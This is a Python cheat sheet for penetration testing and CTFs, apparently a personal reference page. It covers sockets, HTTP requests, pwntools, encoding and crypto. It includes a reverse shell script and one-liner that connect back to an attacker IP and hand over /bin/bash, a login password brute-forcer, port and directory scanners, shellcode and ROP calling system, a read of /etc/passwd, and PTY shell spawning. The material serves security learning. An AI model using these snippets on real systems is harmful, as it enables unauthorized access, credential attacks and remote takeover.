kavklaw@llm $ cat python-pentest.md
Sockets, requests, pwntools, encoding — Python snippets for hacking and CTFs.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.5", 80))
s.send(b"GET / HTTP/1.1\r\nHost: 10.10.10.5\r\n\r\n")
response = s.recv(4096)
print(response.decode())
s.close()
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 4444))
s.listen(1)
print("[*] Listening on 0.0.0.0:4444")
conn, addr = s.accept()
print(f"[+] Connection from {addr}")
while True:
data = conn.recv(1024)
if not data:
break
print(data.decode(), end="")
conn.close()
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b"Hello", ("10.10.10.5", 53))
data, addr = s.recvfrom(4096)
print(data)
s.close()
import socket
def grab_banner(host, port):
try:
s = socket.socket()
s.settimeout(3)
s.connect((host, port))
banner = s.recv(1024).decode().strip()
print(f"{host}:{port} — {banner}")
s.close()
except:
pass
for port in [21, 22, 25, 80, 443]:
grab_banner("10.10.10.5", port)
import requests
# GET request
r = requests.get("http://target.com")
print(r.status_code) # 200
print(r.headers) # Response headers
print(r.text) # Response body (string)
print(r.content) # Response body (bytes)
print(r.json()) # Parse JSON response
print(r.cookies) # Cookies
# GET with parameters
r = requests.get("http://target.com/search", params={"q": "test", "page": 1})
# POST with form data
r = requests.post("http://target.com/login", data={"user": "admin", "pass": "admin"})
# POST with JSON
r = requests.post("http://target.com/api", json={"key": "value"})
# Custom headers
headers = {"Authorization": "Bearer TOKEN", "User-Agent": "Mozilla/5.0"}
r = requests.get("http://target.com/api", headers=headers)
# Cookies
cookies = {"session": "abc123"}
r = requests.get("http://target.com/dashboard", cookies=cookies)
# Follow redirects (default True)
r = requests.get("http://target.com", allow_redirects=False)
# Disable SSL verification
r = requests.get("https://target.com", verify=False)
# Timeout
r = requests.get("http://target.com", timeout=5)
# Proxy
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.get("http://target.com", proxies=proxies) # Route through Burp
import requests
s = requests.Session()
# Login — session stores cookies automatically
s.post("http://target.com/login", data={"user": "admin", "pass": "admin"})
# Subsequent requests use the session cookie
r = s.get("http://target.com/dashboard")
print(r.text)
import requests
url = "http://target.com/login"
with open("passwords.txt") as f:
for password in f:
password = password.strip()
r = requests.post(url, data={"username": "admin", "password": password})
if "Invalid" not in r.text:
print(f"[+] Found: admin:{password}")
break
print(f"[-] Failed: {password}")
import subprocess
# Run command, capture output
result = subprocess.run(["nmap", "-sV", "10.10.10.5"], capture_output=True, text=True)
print(result.stdout)
print(result.stderr)
print(result.returncode)
# Shell=True (allows pipes, but be careful with user input)
result = subprocess.run("cat /etc/passwd | grep root", shell=True, capture_output=True, text=True)
# Run with timeout
result = subprocess.run(["ping", "-c", "4", "10.10.10.5"], timeout=10, capture_output=True, text=True)
# Interactive process
proc = subprocess.Popen(["bash"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = proc.communicate(input=b"whoami\n")
import socket
from concurrent.futures import ThreadPoolExecutor
def scan_port(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((host, port))
s.close()
if result == 0:
return port
except:
pass
return None
host = "10.10.10.5"
open_ports = []
with ThreadPoolExecutor(max_workers=100) as executor:
futures = {executor.submit(scan_port, host, port): port for port in range(1, 1025)}
for future in futures:
result = future.result()
if result:
open_ports.append(result)
print(f"Open ports: {sorted(open_ports)}")
import socket
from concurrent.futures import ThreadPoolExecutor
def scan(host, port):
try:
s = socket.socket()
s.settimeout(2)
s.connect((host, port))
try:
s.send(b"HEAD / HTTP/1.0\r\n\r\n")
banner = s.recv(1024).decode().strip()
except:
banner = "No banner"
s.close()
return (port, banner)
except:
return None
target = "10.10.10.5"
with ThreadPoolExecutor(max_workers=50) as ex:
results = ex.map(lambda p: scan(target, p), range(1, 1025))
for r in results:
if r:
print(f" {r[0]:>5}/tcp open {r[1][:60]}")
# Python reverse shell — connect back to attacker
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.1", 4444))
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
subprocess.call(["/bin/bash", "-i"])
# One-liner version:
# python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# pip install pwntools
from pwn import *
# Connect to remote service
r = remote("10.10.10.5", 1337)
# Connect to local binary
p = process("./vulnerable_binary")
# Send data
r.send(b"data") # Send raw bytes
r.sendline(b"data") # Send with newline
r.sendafter(b"prompt", b"data") # Send after receiving prompt
r.sendlineafter(b":", b"admin") # Send line after colon
# Receive data
data = r.recv(1024) # Receive up to 1024 bytes
line = r.recvline() # Receive one line
r.recvuntil(b"password:") # Receive until string
# Interactive mode
r.interactive()
# Pack/unpack addresses (little-endian)
addr = p64(0x7fffffffde80) # 64-bit pack
addr = p32(0xdeadbeef) # 32-bit pack
val = u64(b"\x80\xde\xff\xff\xff\x7f\x00\x00") # Unpack
# Generate cyclic pattern (buffer overflow)
pattern = cyclic(200) # Generate 200-byte pattern
offset = cyclic_find(0x61616168) # Find offset of 'haaa'
# Shellcode
shellcode = asm(shellcraft.sh()) # Linux /bin/sh shellcode
shellcode = asm(shellcraft.amd64.linux.sh()) # 64-bit
# ROP
elf = ELF("./binary")
rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh"))])
# Context
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug" # Verbose output
import struct
# Pack (convert Python values to bytes)
struct.pack("<I", 0xdeadbeef) # Little-endian unsigned int → b'\xef\xbe\xad\xde'
struct.pack(">I", 0xdeadbeef) # Big-endian unsigned int → b'\xde\xad\xbe\xef'
struct.pack("<Q", 0x7fffffffde80) # Little-endian unsigned long long (64-bit)
struct.pack("<H", 0x4141) # Little-endian unsigned short (16-bit)
# Unpack (convert bytes to Python values)
struct.unpack("<I", b"\xef\xbe\xad\xde") # → (3735928559,) i.e. 0xdeadbeef
struct.unpack(">I", b"\xde\xad\xbe\xef") # → (3735928559,)
# Format characters:
# b/B = int8 h/H = int16 i/I = int32 q/Q = int64
# < = little-endian > = big-endian ! = network (big-endian)
import base64, hashlib, binascii, urllib.parse
# Base64
base64.b64encode(b"Hello") # b'SGVsbG8='
base64.b64decode(b"SGVsbG8=") # b'Hello'
# Hex
binascii.hexlify(b"Hello") # b'48656c6c6f'
binascii.unhexlify(b"48656c6c6f") # b'Hello'
bytes.fromhex("48656c6c6f") # b'Hello'
b"Hello".hex() # '48656c6c6f'
# URL encoding
urllib.parse.quote("hello world&foo=bar") # 'hello%20world%26foo%3Dbar'
urllib.parse.unquote("hello%20world") # 'hello world'
urllib.parse.urlencode({"user": "admin", "pass": "P@ss"}) # 'user=admin&pass=P%40ss'
# Hashing
hashlib.md5(b"password").hexdigest() # '5f4dcc3b5aa765d61d8327deb882cf99'
hashlib.sha1(b"password").hexdigest()
hashlib.sha256(b"password").hexdigest()
# ROT13
import codecs
codecs.encode("Hello", "rot_13") # 'Uryyb'
codecs.decode("Uryyb", "rot_13") # 'Hello'
# XOR
def xor(data, key):
return bytes([b ^ key for b in data])
xor(b"Hello", 0x41) # XOR each byte with 0x41
# Quick file server (Python 3)
# python3 -m http.server 8000
# python3 -m http.server 8000 --bind 0.0.0.0 --directory /path
# Custom server with upload support
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
class UploadHandler(SimpleHTTPRequestHandler):
def do_POST(self):
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"}
)
uploaded = form["file"]
with open(uploaded.filename, "wb") as f:
f.write(uploaded.file.read())
self.send_response(200)
self.end_headers()
self.wfile.write(b"Upload OK")
HTTPServer(("0.0.0.0", 8000), UploadHandler).serve_forever()
# Quick HTTP server
python3 -m http.server 8000
# FTP server (pip install pyftpdlib)
python3 -m pyftpdlib -p 21
# SMB server (impacket)
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /tmp
# Generate password hash
python3 -c "import crypt; print(crypt.crypt('password', crypt.mksalt(crypt.METHOD_SHA512)))"
# Decode base64
python3 -c "import base64; print(base64.b64decode('SGVsbG8=').decode())"
# URL decode
python3 -c "import urllib.parse; print(urllib.parse.unquote('%48%65%6c%6c%6f'))"
# Hex to string
python3 -c "print(bytes.fromhex('48656c6c6f').decode())"
# String to hex
python3 -c "print('Hello'.encode().hex())"
# Generate random password
python3 -c "import secrets,string; print(''.join(secrets.choice(string.ascii_letters+string.digits) for _ in range(16)))"
# IP to integer
python3 -c "import ipaddress; print(int(ipaddress.ip_address('192.168.1.1')))"
# Integer to IP
python3 -c "import ipaddress; print(ipaddress.ip_address(3232235777))"
# Spawn PTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
import requests
from bs4 import BeautifulSoup
# Scrape links from a page
r = requests.get("http://target.com")
soup = BeautifulSoup(r.text, "html.parser")
for link in soup.find_all("a"):
href = link.get("href")
if href:
print(href)
# Extract forms (for SQL injection / XSS testing)
for form in soup.find_all("form"):
action = form.get("action")
method = form.get("method", "get")
inputs = [(i.get("name"), i.get("type")) for i in form.find_all("input")]
print(f"Action: {action}, Method: {method}, Inputs: {inputs}")
# Directory brute force
import requests
url = "http://target.com"
with open("/usr/share/wordlists/dirb/common.txt") as f:
for word in f:
word = word.strip()
r = requests.get(f"{url}/{word}", timeout=5)
if r.status_code != 404:
print(f"[{r.status_code}] /{word}")
# AES encryption/decryption (pip install pycryptodome)
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
key = b"Sixteen byte key" # 16 bytes = AES-128
iv = b"Sixteen byte iv!"
# Encrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(b"secret message!!", AES.block_size))
# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
print(pt) # b'secret message!!'
# RSA basics
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
pub = key.publickey().export_key()
priv = key.export_key()